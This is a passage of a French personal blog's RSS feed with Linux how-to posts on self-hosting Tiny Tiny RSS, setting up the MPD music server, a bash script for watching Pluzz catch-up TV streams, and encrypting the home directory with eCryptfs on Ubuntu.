<p>Puis créer un utilisateur <code>flux</code> avec les droits sur cette base (on pourra générer son mot de passe grâce à <a href="http://blog.rom1v.com/2009/11/generer-des-mots-de-passe-aleatoires/">pwgen</a>)&nbsp;:</p>
<pre>mysql> GRANT ALL PRIVILEGES ON flux.* TO flux@localhost IDENTIFIED BY 'unmotdepasse';
Query OK, 0 rows affected (0.04 sec)</pre>
<p>Initialiser la base de données&nbsp;:</p>
<pre>mysql> USE flux
Database changed

mysql> \. ttrss_schema_mysql.sql</pre>
<p>La base de données est prête.</p>
<h4>Configuration</h4>
<p>Retourner dans le répertoire <code>~/flux</code>&nbsp;:</p>
<pre>cd ..</pre>
<p>Copier le modèle du fichier de configuration&nbsp;:</p>
<pre>cp config.php-dist config.php</pre>
<p>Puis l&#8217;éditer, par exemple&nbsp;:</p>
<pre>nano config.php</pre>
<p>Modifier les informations de connexion à la base de données&nbsp;:</p>
<pre>        define('DB_TYPE', "mysql");
        define('DB_HOST', "localhost");
        define('DB_USER', "flux");
        define('DB_NAME', "flux");
        define('DB_PASS', "unmotdepasse");</pre>
<p>Modifier l&#8217;URL d&#8217;accès à l&#8217;application, pour moi&nbsp;:</p>
<pre>        define('SELF_URL_PATH', 'http://flux.rom1v.com');</pre>
<p>Désactiver le mode <em>utilisateur unique</em> (sans quoi l&#8217;accès à l&#8217;application sera public sans authentification)&nbsp;:</p>
<pre>        define('SINGLE_USER_MODE', false);</pre>
<p>Si <em>Tiny Tiny RSS</em> est installé à la racine du site (c&#8217;est mon cas&nbsp;: <code>flux.rom1v.com/</code>), il faut modifier le répertoire d&#8217;icônes, car <code>/icons</code> est réservé par <em>Apache</em>&nbsp;:</p>
<pre>        define('ICONS_DIR', "tt-icons");
        define('ICONS_URL', "tt-icons");</pre>
<p>Je conseille de désactiver la vérification des nouvelles versions, car lorsque le site de <em>Tiny Tiny RSS</em> ne répond plus, l&#8217;application rencontre des difficultés&nbsp;:</p>
<pre>        define('CHECK_FOR_NEW_VERSION', false);</pre>
<p>Pour les performances, activer la compression&nbsp;:</p>
<pre>        define('ENABLE_GZIP_OUTPUT', true);</pre>
<p>Enfin, une fois que la configuration est terminée, modifier la ligne&nbsp;:</p>
<pre>        define('ISCONFIGURED', true);</pre>
<p>Les modifications du fichier de configuration sont terminés.</p>
<p>Maintenant, renommer le répetoire <code>icons</code> (comme dans le fichier de configuration)&nbsp;:</p>
<pre>mv icons tt-icons</pre>
<h4>Serveur web</h4>
<p>Il faut maintenant héberger l&#8217;application sur <em>Apache</em>.</p>
<p>Tout d&#8217;abord, donner les droits à <code>www-data</code> sur les répertoires où il a besoin d&#8217;écrire&nbsp;:</p>
<pre>sudo chown -R www-data: cache tt-icons lock</pre>
<p>Puis faire un lien symbolique vers le répertoire <code>/var/www/</code>&nbsp;:</p>
<pre>sudo ln -s ~/flux /var/www/</pre>
<p>Créer (au besoin) un nouveau <em>VirtualHost</em> pour le site, dans le répertoire <code>/etc/apache2/sites-available</code> (pour moi dans un fichier nommé <code>flux.rom1v.com</code>)&nbsp;:</p>
<pre>&lt;VirtualHost *:80&gt;
	DocumentRoot	/var/www/flux
	ServerName	flux.rom1v.com

	&lt;Directory /var/www/flux/&gt;
		Options FollowSymLinks MultiViews
		AllowOverride All
		Order allow,deny
		allow from all
	&lt;/Directory&gt;

	ErrorLog	/var/log/apache2/flux_error.log
	CustomLog	/var/log/apache2/flux_access.log combined

&lt;/VirtualHost&gt;</pre>
<p>Activer le site&nbsp;:</p>
<pre>sudo a2ensite flux.rom1v.com</pre>
<p>Redémarrer <em>Apache</em> (un simple <code>reload</code> aurait suffit si nous n&#8217;avions pas installé <code>php5-curl</code> tout à l&#8217;heure)&nbsp;:</p>
<pre>sudo service apache2 restart</pre>
<h3>Configuration utilisateur</h3>
<h4>Compte utilisateur</h4>
<p>L&#8217;application doit maintenant fonctionner. S&#8217;y connecter, avec l&#8217;utilisateur <code>admin</code> et le mot de passe <code>password</code> (l&#8217;utilisateur par défaut), puis aller dans la configuration et changer le mot de passe.</p>
<h4>Importation et exportation</h4>
<p><em>Tiny Tiny RSS</em> permet l&#8217;importation et l&#8217;exportation d&#8217;un fichier <a href="http://fr.wikipedia.org/wiki/OPML">OPML</a>. Il est ainsi possible de migrer facilement d&#8217;un gestionnaire de flux à un autre.</p>
<h4>Intégration à Firefox</h4>
<p>Il est possible d&#8217;associer son instance de <em>Tiny Tiny RSS</em> à <em>Firefox</em>&nbsp;: toujours dans la configuration, dans l&#8217;onglet <em>Flux</em>, <em>Intégration à Firefox</em>, cliquer sur le bouton.</p>
<p>Pour tester, se rendre sur un site, et afficher la liste des flux disponibles. Pour cela, cliquer sur le petit icône à gauche de l&#8217;adresse, puis sur <em>Plus d&#8217;informations…</em>, sur l&#8217;onglet <em>Flux</em> (s&#8217;il y en a un), et enfin sur le flux désiré. Par exemple, pour <a href="http://blog.rom1v.com/feed">ce blog</a>&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2011/06/blog-rss.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/06/blog-rss-300x247.png" alt="" title="blog-rss" width="300" height="247" class="aligncenter size-medium wp-image-2593" /></a></p>
<p>En cliquant sur <em>S&#8217;abonner maintenant</em>, <em>Firefox</em> devrait proposer d&#8217;utiliser <em>Tiny Tiny RSS</em>.</p>
<h3>Programmation de la mise à jour des flux</h3>
<p>Il reste encore une étape importante&nbsp;: le serveur doit régulièrement mettre à jour le contenu de chacun des flux auxquels nous sommes abonnés.</p>
<p>Plusieurs méthodes sont décrites sur <a href="http://tt-rss.org/redmine/wiki/tt-rss/UpdatingFeeds">cette page</a>. Certaines chargent les flux séquentiellement (par <em>cron</em> notamment), ce qui peut poser problème&nbsp;: supposons que nous soyons abonnés à 300 flux, avec une mise à jour toutes les 30 minutes, ça donne une moyenne de 6 secondes par flux. Si certains sites sont long à répondre, la mise à jour risque de dépasser le temps imparti, et <em>cron</em> va lancer une nouvelle tâche avant que la précédente soit terminée (heureusement <em>Tiny Tiny RSS</em> pose un verrou, donc il ne fera rien la seconde fois, mais du coup nous perdons une mise à jour). Ceci est d&#8217;autant plus dommage que l&#8217;essentiel de la durée nécessaire est le temps de connexion à chacun des sites&nbsp;: mieux vaut donc paralléliser le chargement.</p>
<p>C&#8217;est la raison pour laquelle je préfère la dernière méthode&nbsp;: <strong>lancer un <em>démon</em> multi-processus au démarrage du serveur</strong>. Par contre, étant donné le fonctionnement du <em>démon</em> proposé, il ne semble pas possible d&#8217;en faire un script <em>init.d</em> propre. Le plus simple est donc de rajouter dans <code>/etc/rc.local</code>&nbsp;:</p>
<pre>start-stop-daemon -c www-data -Sbx /var/www/flux/update_daemon2.php</pre>
<p><em>Vous pouvez exécuter cette commande maintenant pour charger les flux la première fois.</em></p>
<p>Ce <em>démon</em> utilise plusieurs processus (par défaut 2), qui mettent à jour les flux par blocs (par défaut, de 100). Pour changer ces variables (par exemple pour avoir 5 processus qui chargent des blocs de 50), dans <code>config.php</code>&nbsp;:</p>
<pre>        define('DAEMON_FEED_LIMIT', 50);</pre>
<p>et dans <code>update_daemon2.php</code>&nbsp;:</p>
<pre>        define('MAX_JOBS', 5);</pre>
<h3>Autres interfaces</h3>
<p>Une interface mobile en HTML est intégrée. Pour y accéder, il suffit d&#8217;ajouter à l&#8217;URL <code>/mobile</code>.</p>
<p>Pour <em>Android</em>, il existe également une application&nbsp;: <a href="http://code.google.com/p/ttrss-reader-fork/">ttrss-reader-fork</a> (à tester, mais je la trouve assez buggée). Pour lui permettre l&#8217;accès, il est nécessaire de sélectionner <em>&laquo;&nbsp;Activer les API externes&nbsp;&raquo;</em> dans la page de configuration de <em>Tiny Tiny RSS</em>.</p>
<h3>Conclusion</h3>
<p>Vous n&#8217;avez plus de raison de laisser traîner vos flux RSS n&#8217;importe où <img src='http://blog.rom1v.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/06/tiny-tiny-rss-auto-hebergement-des-flux-rss/feed/</wfw:commentRss>
		<slash:comments>39</slash:comments>
		</item>
		<item>
		<title>Music Player Daemon (MPD) : la musique à distance</title>
		<link>http://blog.rom1v.com/2010/09/music-player-daemon-mpd-la-musique-a-distance/</link>
		<comments>http://blog.rom1v.com/2010/09/music-player-daemon-mpd-la-musique-a-distance/#comments</comments>
		<pubDate>Tue, 28 Sep 2010 20:25:46 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[audio]]></category>
		<category><![CDATA[gnome]]></category>
		<category><![CDATA[mpd]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1907</guid>
		<description><![CDATA[MPD est un lecteur audio libre un peu particulier&#160;: il fonctionne suivant le modèle client/serveur. Le serveur lit la musique, et les clients font office de télécommande (évoluée). Typiquement, le serveur est installé sur une machine reliée aux enceintes du salon, et les clients sont installés sur chacun des ordinateurs et des téléphones (ainsi que [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/09/mpd.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/09/mpd.png" alt="" title="mpd" width="134" height="116" class="alignright size-full wp-image-1908" /></a></p>
<p>MPD est un lecteur audio libre un peu particulier&nbsp;: il fonctionne suivant le modèle client/serveur. Le serveur lit la musique, et les clients font office de télécommande (évoluée).</p>
<p>Typiquement, le serveur est installé sur une machine reliée aux enceintes du salon, et les clients sont installés sur chacun des ordinateurs et des téléphones (ainsi que sur le serveur lui-même s&#8217;il est relié à un écran).</p>
<h3>Serveur</h3>
<h4>Installation</h4>
<p>L&#8217;installation est extrêmement simple (testé sur <em>Ubuntu 10.10</em>), il suffit d&#8217;installer <a href="apt://mpd">mpd</a>&nbsp;:</p>
<pre>sudo apt-get install mpd</pre>
<p>Ensuite, il y a quelques petites lignes à modifier dans le fichier de configuration <code>/etc/mpd.conf</code>.<br />
Tout d&#8217;abord, il faut définir le répertoire du serveur qui contient la musique&nbsp;:</p>
<pre>music_directory                "/home/rom/Musique"</pre>
<p>Il vaut mieux commenter la ligne <code>bind_to_address</code> (pour éviter pas mal de problèmes)&nbsp;:</p>
<pre>#bind_to_address               "localhost"</pre>
<p>Pour que <code>MPD</code> ne monopolise pas le son de tout le système, commenter la ligne&nbsp;:</p>
<pre>#	device		"hw:0,0"	# optional</pre>
<p>Enfin, pour pouvoir changer le volume, décommenter la ligne&nbsp;:</p>
<pre>mixer_type                     "software"</pre>
<h4>Mise à jour de la base de données</h4>
<p>La première fois, et à chaque fois que de nouveaux fichiers sont ajoutés au répertoire de musique, la base de données doit être mise à jour&nbsp;:</p>
<pre>sudo mpd --create-db</pre>
<p><em>(le serveur doit être stoppé pour mettre à jour la base de cette manière)</em></p>
<p>Des logiciels clients permettent également de mettre à jour la base d&#8217;un simple clic.</p>
<p>Vérifiez bien que les fichiers contenus dans ce répertoire sont bien lisibles par tous (en particulier par l&#8217;utilisateur <code>mpd</code>). Si ce n&#8217;est pas le cas, modifiez les droits avec&nbsp;:</p>
<pre>chmod +r -R /home/rom/Musique</pre>
<h4>Démarrage et arrêt</h4>
<p>Pour démarrer le serveur&nbsp;:</p>
<pre>sudo service mpd start</pre>
<p>Pour le stopper&nbsp;:</p>
<pre>sudo service mpd stop</pre>
<p>Il démarrera automatiquement à chaque démarrage du système.</p>
<h3>Clients</h3>
<p>Les clients permettent de gérer la lecture à distance. Il est possible d&#8217;ouvrir plusieurs clients à la fois (un sur l&#8217;ordinateur et un sur le téléphone par exemple) qui resteront synchronisés avec le serveur. La lecture ne s&#8217;arrête pas lors de la fermeture du client. Chaque client a juste besoin de l&#8217;IP du serveur et du port (par défaut 6600).</p>
<p>Il en existe <a href="http://mpd.wikia.com/wiki/Clients">de nombreux</a> pour toutes les plateformes. Malheureusement, beaucoup ne sont pas stables et souffrent de problèmes d&#8217;ergonomie. Globalement, ils sont moins agréables à utiliser qu&#8217;un vrai lecteur de musique installé localement (mais les contraintes ne sont pas les mêmes).</p>
<p>Je vais en présenter deux, un pour <em>Gnome</em> et un pour <em>Android</em>.</p>
<h4>Ario</h4>
<p>Après avoir testé de nombreux clients pour PC, mon choix s&#8217;est porté sur <a href="http://ario-player.sourceforge.net/">Ario</a>&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/09/ario.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/09/ario-300x240.png" alt="" title="ario" width="300" height="240" class="aligncenter size-medium wp-image-1909" /></a></p>
<p>Quelques avantages qui m&#8217;ont convaincu&nbsp;:</p>
<ul>
<li>il est très bien intégré à <em>Gnome</em> (y compris avec le système de notifications utilisé par <em>Ubuntu</em>)&nbsp;;</li>
<li>il ressemble beaucoup à <em>Rhythmbox</em> dans son utilisation&nbsp;;</li>
<li>le double-clic sur un album peut être configuré pour <strong>remplacer</strong> la liste de lecture (plutôt que d&#8217;ajouter son contenu à la fin, sans le lire immédiatement), contrairement à de nombreux clients&nbsp;;</li>
<li>l&#8217;interface ne reste pas figée systématiquement lors d&#8217;une communication avec le serveur&nbsp;;</li>
<li>la base de données du serveur peut être mise à jour en un clic…</li>
</ul>
<h4>DMix/MPDroid</h4>
<p>Du côté d&#8217;<em>Android</em>, il y a beaucoup moins de clients. J&#8217;ai choisi <a href="http://github.com/dreamteam69/dmix/downloads">DMix/MPDroid</a> (qui est un fork de <a href="http://code.google.com/p/pmix/">PMix</a>)&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/09/pmix.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/09/pmix-180x300.png" alt="" title="pmix" width="180" height="300" class="aligncenter size-medium wp-image-1919" /></a></p>
<p>C&#8217;est un simple fichier <code>apk</code> <a href="http://blog.rom1v.com/2010/01/installer-une-application-apk-sur-android-a-partir-dun-pc/">à installer</a>.</p>
<p>Dans la bibliothèque, lors de la navigation dans la liste des albums, une pression longue ajoute l&#8217;album sélectionné à la liste de lecture alors qu&#8217;une pression courte permet de naviguer vers les titres de l&#8217;album (pour les ajouter un par un). Le fonctionnement est similaire pour la liste des artistes. C&#8217;est bon à savoir <img src='http://blog.rom1v.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<h3>Aller plus loin</h3>
<p>Je me suis contenté ici de décrire les fonctionnalités de base de MPD qui me sont utiles. Mais il est également possible de le configurer en serveur de streaming, pour lire la musique du serveur sur un ordinateur ou un téléphone. OpenSyd en parle à la fin d&#8217;<a href="http://blog.opensyd.fr/gerer-sa-collection-musicale-avec-mpd-et-y-acceder-en-streaming-avec-mpdroid/">un récent billet</a>.</p>
<h3>Conclusion</h3>
<p>Ce lecteur est vraiment très pratique pour une gestion centralisée de la musique chez soi, et permet de toujours lire la musique sur le système son du salon (plutôt que sur la sortie audio de l&#8217;ordinateur).</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/09/music-player-daemon-mpd-la-musique-a-distance/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Pluzz.fr : France Televisions lance son service de TV de rattrapage non lisible</title>
		<link>http://blog.rom1v.com/2010/07/pluzz-fr-france-televisions-lance-son-service-de-tv-de-rattrapage-non-lisible/</link>
		<comments>http://blog.rom1v.com/2010/07/pluzz-fr-france-televisions-lance-son-service-de-tv-de-rattrapage-non-lisible/#comments</comments>
		<pubDate>Tue, 06 Jul 2010 14:57:11 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Humeur]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[développement]]></category>
		<category><![CDATA[drm]]></category>
		<category><![CDATA[format]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1669</guid>
		<description><![CDATA[Le 5 juillet (hier donc), France Télévisions a lancé son service de télévision de rattrapage, qui ne permet pas de lire les vidéos. À moins d&#8217;accepter d&#8217;installer un système d&#8217;exploitation particulier avec un logiciel particulier (propriétaires évidemment). C&#8217;est comme s&#8217;ils diffusaient leurs émissions uniquement pour les utilisateurs équipés d&#8217;une TV Sony ou Philips, et pas [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/07/france_televisions.jpg"><img src="http://blog.rom1v.com/wp-content/uploads/2010/07/france_televisions.jpg" alt="" title="france_televisions" width="300" height="155" class="alignright size-full wp-image-1675" /></a></p>
<p>Le 5 juillet (hier donc), <em>France Télévisions</em> <a href="http://linuxfr.org/~fabiensk/29918.html">a lancé</a> son service de télévision de rattrapage, <strong>qui ne permet pas de lire les vidéos</strong>. À moins d&#8217;accepter d&#8217;installer un système d&#8217;exploitation particulier avec un logiciel particulier (propriétaires évidemment). C&#8217;est comme s&#8217;ils diffusaient leurs émissions uniquement pour les utilisateurs équipés d&#8217;une TV Sony ou Philips, et pas pour les autres… <em>France Télévisions</em> a simplement oublié que c&#8217;était un avant tout un <strong>service public</strong>.</p>
<h3>Formats</h3>
<p>La lecture des vidéos nécessite soit <em>Windows Media Player</em>, soit <em>Silverlight</em>. C&#8217;est dommage, il aurait été préférable que leur site soit du web, accessible à tous.</p>
<p>En plus de cela, les vidéos sont diffusées dans le format fermé WMV. Certaines contiennent même des DRM. Les DRM, pour rappel, c&#8217;est ce qui empêche les utilisateurs de lire le contenu proposé. Certains prétendent que ça permet d&#8217;empêcher la copie&nbsp;; ce n&#8217;est pas totalement faux&nbsp;: quand on ne peut pas lire le contenu on ne peut pas le copier. Une autre technique plus efficace serait de ne pas le publier du tout.</p>
<p><strong>En numérique, tout ce qui est lisible est copiable. Par contraposée, tout ce qui n&#8217;est pas copiable n&#8217;est pas lisible.</strong></p>
<h3>Outil d&#8217;accès</h3>
<p>Comme <em>France Télévisions</em> n&#8217;a pas fait son boulot d&#8217;<a href="http://fr.wikipedia.org/wiki/Interop%C3%A9rabilit%C3%A9">interopérabilité</a>, et qu&#8217;a priori chacun a droit d&#8217;accéder à ce service (public!), nous sommes obligés de nous débrouiller par nous-mêmes.</p>
<p>J&#8217;ai donc écrit un petit script <em>bash</em> qui permet d&#8217;accéder relativement simplement à <em>Pluzz</em> à partir d&#8217;un système libre (où VLC doit être installé, testé sur <em>Ubuntu 10.04</em>). Pour l&#8217;utiliser, rendez-vous sur <a href="http://www.pluzz.fr">Pluzz.fr</a>, cliquez sur l&#8217;émission de votre choix, et copier l&#8217;adresse de la page (par exemple <code>http://www.pluzz.fr/jt-20h.html</code>).</p>
<p>Ensuite, pour lire la vidéo, tapez&nbsp;:</p>
<pre>pluzz play http://www.pluzz.fr/jt-20h.html</pre>
<p>Pour l&#8217;enregistrer (bah oui, tout ce qui est lisible est enregistrable)&nbsp;:</p>
<pre>pluzz record http://www.pluzz.fr/jt-20h.html</pre>
<p>Si vous voulez simplement l&#8217;url du flux&nbsp;:</p>
<pre>pluzz url http://www.pluzz.fr/jt-20h.html</pre>
<p>Ceci ne fonctionnera que pour les vidéos sans DRM&nbsp;: les vidéos avec DRM ne sont pas lisibles.</p>
<p><ins datetime="2012-01-09T19:00:00+01:00"><em>Pluzz</em> a récemment changé la manière dont les vidéos sont diffusées. Le script que j&#8217;ai proposé ici ne fonctionnera donc plus pour une majorité de vidéos. <em>Chaoswizard</em> en a créé <a href="http://forum.ubuntu-fr.org/viewtopic.php?pid=7728361#p7728361">un nouveau</a>, en <em>Python</em> pour prendre en compte ces changements.</ins></p>
<h3>Script</h3>
<p><ins datetime="2010-07-11T00:00:00+01:00">J&#8217;ai mis à jour le script avec une version 0.2, qui gère également les flux en <code>mp4</code> (<a href="apt://flvstreamer">flvstreamer</a> doit être installé).<br />
L&#8217;historique des scripts est disponible <a href="http://dl.rom1v.com/pluzz/">ici</a> (au cas où une régression poserait problème).</ins></p>
<p>Voici le script (sous licence <a href="http://sam.zoy.org/wtfpl/">wtfpl</a>), à sauvegarder en tant que fichier exécutable <code>/usr/local/bin/pluzz</code> <em>(uniquement si vous comprenez ce que vous faites)</em>&nbsp;:</p>
<pre lang="bash">#!/bin/bash
# Script pour utiliser pluzz.fr
# v0.2 (11 juillet 2010)

if [ $# != 2 ]
then
    printf "Syntaxe: $0 [url|play|record] http://www.pluzz.fr/...\n" >&#038;2
    exit 1
fi
command="$1"
url="$2"

if [ "$command" != 'url' -a "$command" != 'play' -a "$command" != 'record' ]
then
    printf "Command must be 'url', 'play' or 'record', not '$command'\n" >&#038;2
    exit 2
fi

video_page_url=$(wget -qO- "$url" | grep -o 'http://info.francetelevisions.fr/?id-video=[^"]\+')
stream_url_part2=$(wget -qO- "$video_page_url" | grep urls-url-video | sed 's/.*content="\(.*\)".*/\1/')
ext=${stream_url_part2##*.}

if [ "$ext" = 'wmv' ]
then
    stream_url_part1='mms://a988.v101995.c10199.e.vm.akamaistream.net/7/988/10199/3f97c7e6/ftvigrp.download.akamai.com/10199/cappuccino/production/publication'
elif [ "$ext" = 'mp4' ]
then
    stream_url_part1='rtmp://videozones-rtmp.francetv.fr/ondemand/mp4:cappuccino/publication'
else
    printf "Extension not managed : '$ext'\n" >&#038;2
    exit 3
fi

stream_url="$stream_url_part1/$stream_url_part2"

if [ "$command" = "url" ]
then
    printf "$stream_url\n"
elif [ "$command" = "play" ]
then
    if [ "$ext" = 'wmv' ]
    then
        vlc "$stream_url"
    else
        flvstreamer -r "$stream_url" | vlc -
    fi
elif [ "$command" = "record" ]
then
    output_file=${stream_url##*/}
    printf "Recording to $output_file...\n"
    if [ "$ext" = 'wmv' ]
    then
        vlc "$stream_url" ":sout=#std{access=file,mux=asf,dst=$output_file}"
    else
        flvstreamer -r "$stream_url" -o "$output_file"
    fi
fi</pre>
<p><ins datetime="2010-07-11T00:00:00+01:00">Le plus simple est de créer un fichier <code>pluzz</code> dans le dossier personnel, d&#8217;y recopier le script ci-dessus, et d&#8217;exécuter&nbsp;:</ins></p>
<pre>sudo install pluzz /usr/local/bin</pre>
<h3>Conclusion</h3>
<p>Après s&#8217;être déjà fait remarqué par leur <a href="http://www.numerama.com/magazine/15230-la-detestable-exclusivite-de-france-televisions-sur-orange-va-prendre-fin.html">exclusivité avec Orange</a>, j&#8217;espère que <em>France Télévisions</em> acceptera un jour de permettre l&#8217;accès à tous à la télévision de rattrapage.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/07/pluzz-fr-france-televisions-lance-son-service-de-tv-de-rattrapage-non-lisible/feed/</wfw:commentRss>
		<slash:comments>162</slash:comments>
		</item>
		<item>
		<title>Chiffrer son dossier personnel (/home) sous Ubuntu</title>
		<link>http://blog.rom1v.com/2010/05/chiffrer-son-dossier-personnel-home-sous-ubuntu/</link>
		<comments>http://blog.rom1v.com/2010/05/chiffrer-son-dossier-personnel-home-sous-ubuntu/#comments</comments>
		<pubDate>Sun, 16 May 2010 15:12:41 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[chiffrement]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1476</guid>
		<description><![CDATA[Ubuntu permet d&#8217;activer le chiffrement du dossier personnel lors de l&#8217;installation, grâce à eCryptfs. Pourquoi chiffrer son dossier personnel&#160;? Parce que les documents personnels sont… personnels. La demande du mot de passe à la connexion ou lors de la sortie de mise en veille ne protège absolument pas les données&#160;: il suffit de booter sur [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/05/cadenas.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/05/cadenas.png" alt="" title="cadenas" width="256" height="256" class="alignright size-full wp-image-1527" /></a></p>
<p>Ubuntu permet d&#8217;activer le chiffrement du dossier personnel lors de l&#8217;installation, grâce à <em>eCryptfs</em>.</p>
<h3>Pourquoi chiffrer son dossier personnel&nbsp;?</h3>
<p>Parce que les documents personnels sont… personnels.<br />
La demande du mot de passe à la connexion ou lors de la sortie de mise en veille ne protège absolument pas les données&nbsp;: il suffit de booter sur un <em>LiveCD</em> pour récupérer les données en clair très simplement.</p>
<p>Ces données peuvent être de toutes sortes&nbsp;:</p>
<ul>
<li>des photos de vacances&nbsp;;</li>
<li>l&#8217;historique de comptes en banque&nbsp;;</li>
<li>les scans de documents administratifs&nbsp;;</li>
<li>des mails&nbsp;;</li>
<li>le contenu de discussions en messagerie instantanée&nbsp;;</li>
<li>l&#8217;historique de navigation&nbsp;;</li>
<li>les mots de passe enregistrés&nbsp;;</li>
<li>bien d&#8217;autres choses…</li>
</ul>
<p>Quand on sait que certains se font <a href="http://fr.wikipedia.org/wiki/Usurpation_d%27identit%C3%A9">voler leur identité</a> pour <a href="http://www.lepoint.fr/actualites-societe/2009-10-12/usurpation-d-identite-quand-les-victimes-deviennent-des-coupables/1597/0/384858">bien moins que ça</a>… Vous me direz, certains n&#8217;ont pas besoin de se faire voler leurs données, ils donnent volontairement tous leurs mails privés à <em>Google</em> et plein d&#8217;autres infos à <em>Facebook</em>, alors… <code>&lt;/troll&gt;</code></p>
<h4>Stockage des mots de passe</h4>
<p>Je souhaiterais faire une parenthèse sur le stockage des mots de passe (sur un disque dur non chiffré).</p>
<p>Sur un système <em>GNU/Linux</em>, <em>a priori</em> il y a un <em>trousseau de clés</em>. Les logiciels peuvent l&#8217;utiliser pour enregistrer les mots de passe de manière sûre, en les chiffrant par une passphrase (par défaut le mot de passe du compte). C&#8217;est le cas par exemple d&#8217;<em>Evolution</em>, d&#8217;<em>Empathy</em>, de <em>Gwibber</em>… Pour voir les mots de passe enregistrés, il suffit d&#8217;ouvrir <em>Applications > Accessoires > Mots de passe et clés de chiffrement</em>.</p>
<p>Mais il y a un grand absent dans la liste des logiciels qui le gèrent&nbsp;: <em>Firefox</em>. <em>Firefox</em> enregistre les mots de passe quasiment en clair&nbsp;; c&#8217;est dommage, c&#8217;est à lui qu&#8217;on donne la majorité de nos mots de passe. Du coup, si j&#8217;accède à un disque dur non chiffré, je peux récupérer tous les mots de passe enregistrés dans <em>Firefox</em>. D&#8217;ailleurs, c&#8217;est très simple&nbsp;: <em>Édition > Préférences > Sécurité > Mots de passe enregistrés… > Afficher les mots de passe</em> (ça devrait inciter les gens à verrouiller leur session quand ils s&#8217;absentent plus de 5 secondes). Il y a bien une option <em>&laquo;&nbsp;Utiliser un mot de passe principal&nbsp;&raquo;</em>, mais comme il n&#8217;est pas intégré au système, il faut le renseigner une fois par session <em>Firefox</em> (en plus du mot de passe système donc). Cela suffit à dissuader de l&#8217;activer.</p>
<p>Je ne sais pas si c&#8217;est prévu pour <em>Firefox 4.0</em>, mais je pense que la sécurité des mots de passe aurait été plus utile que des thèmes à la manière de <em>WinAmp</em> il y a 10 ans (pardon on dit des <a href="http://www.getpersonas.com">personas</a>)…</p>
<p>Ceci donne un argument de plus pour chiffrer son dossier personnel… Parenthèse fermée.</p>
<h3>Mise en place du chiffrement</h3>
<p>Pour activer le chiffrement du dossier personnel lors de l&#8217;installation, il suffit de choisir la bonne option&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/05/ubuntu-install-ecryptfs.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/05/ubuntu-install-ecryptfs.png" alt="" title="ubuntu-install-ecryptfs" width="645" height="141" class="aligncenter size-full wp-image-1488" /></a><br />
<em>(je vous conseille aussi d&#8217;utiliser une partition séparée pour <code>/home</code>)</em></p>
<p>Et voilà, c&#8217;est tout.</p>
<p>Enfin, pas tout-à-fait, car quand on chiffre ses données, il est certes important qu&#8217;elles soient protégées, mais il y a quelque chose d&#8217;encore plus important, c&#8217;est qu&#8217;elles soient récupérables…</p>
<p>Nous allons donc voir comment ça fonctionne, comment récupérer les données, ce à quoi il faut faire attention, etc.</p>
<h3>Principe</h3>
<p>Le système utilise une clé (une passphrase) pour chiffrer toutes les données avant de les écrire sur le disque. Elle est générée automatiquement, et devra être notée quelque part (sur un bout de papier à garder précieusement). Cette clé est elle-même chiffrée par une passphrase, qui est le mot de passe du compte utilisateur. Ainsi, lors de la connexion de l&#8217;utilisateur, la clé pourra être déchiffrée et utilisée pour lire et écrire des données.</p>
<p>Il faut bien distinguer ces deux <em>passphrases</em>&nbsp;:</p>
<ul>
<li>la première est la <strong>passphrase de montage</strong>&nbsp;: c&#8217;est elle qui permet de monter et d&#8217;utiliser le répertoire chiffré&nbsp;;</li>
<li>la seconde est la <strong>passphrase de login</strong>&nbsp;: c&#8217;est elle qui permet de déchiffrer la première, lors de la connexion de l&#8217;utilisateur.</li>
</ul>
<p>Tant que vous connaissez la <em>passphrase de montage</em>, vous pourrez récupérer vos données.<br />
Si vous connaissez uniquement la <em>passphrase de login</em>, vous pourrez normalement récupérer la <em>passphrase de montage</em> (mais c&#8217;est plus sûr de garder dans un coin la <em>passphrase de montage</em>, car on peut effacer involontairement le fichier permettant de faire le lien).<br />
Si vous ne connaissez aucune des deux, vos données sont définitivement perdues…</p>
<p>Physiquement, les dossiers chiffrés sont stockés dans <code>/home/.ecryptfs/USER/.Private</code>.<br />
Les données servant au chiffrement et au déchiffrement sont dans <code>/home/.ecryptfs/USER/.ecryptfs</code>.<br />
